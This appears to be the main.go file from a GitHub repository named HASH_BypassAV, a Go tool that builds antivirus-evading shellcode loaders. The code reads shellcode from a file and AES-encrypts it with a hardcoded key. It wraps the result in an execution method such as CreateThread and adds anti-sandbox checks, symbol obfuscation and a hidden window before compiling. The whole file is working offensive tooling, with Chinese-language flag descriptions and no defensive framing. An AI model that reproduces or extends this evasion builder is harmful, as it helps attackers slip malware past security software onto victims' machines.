-
Notifications
You must be signed in to change notification settings - Fork 4
/
main.go
64 lines (55 loc) · 1.57 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package main
import (
"HASH_BypassAV/build"
"HASH_BypassAV/encrypt"
"HASH_BypassAV/parser"
"HASH_BypassAV/sandbox"
"encoding/hex"
"flag"
"strings"
)
func main() {
var (
c_2_shellcode bool
shellcode_path string
module string
enc string
key string
debug bool
strip bool
hide bool
sb bool
)
flag.StringVar(&shellcode_path, "s", "shellcode.txt", "shellcode 文件位置")
flag.BoolVar(&c_2_shellcode, "c", true, "shellcode 文件格式:C / bin")
flag.StringVar(&module, "m", "CreateThread", "使用模块")
flag.StringVar(&enc, "e", "AES", "是否加密 shellcode")
flag.StringVar(&key, "k", "#HvL%$o0oNNoOZnk#o2qbqCeQB13XeIR", "加密密钥")
flag.BoolVar(&debug, "d", true, "是否去除符号表")
flag.BoolVar(&hide, "hide", false, "是否隐藏窗口")
flag.BoolVar(&strip, "strip", false, "是否符号混淆")
flag.BoolVar(&sb, "sb", true, "是否开启反沙箱")
flag.Parse()
var shellcode, code string
if c_2_shellcode {
shellcode = parser.ParseShellCode(shellcode_path)
} else {
shellcode = hex.EncodeToString(parser.OriginShellCode(shellcode_path))
}
if enc != "0" {
enc = strings.ToUpper(enc)
ss, ok := encrypt.EncryptShellcode(shellcode, enc, key)
if !ok {
return
}
shellcode = hex.EncodeToString(ss)
code = parser.GetFinalCode(module, shellcode)
code = encrypt.DecryptReplace(code, enc, key)
} else {
code = parser.GetFinalCode(module, shellcode)
}
if sb {
code = sandbox.Addsandbox(code)
}
build.Build(code, module, debug, strip, hide)
}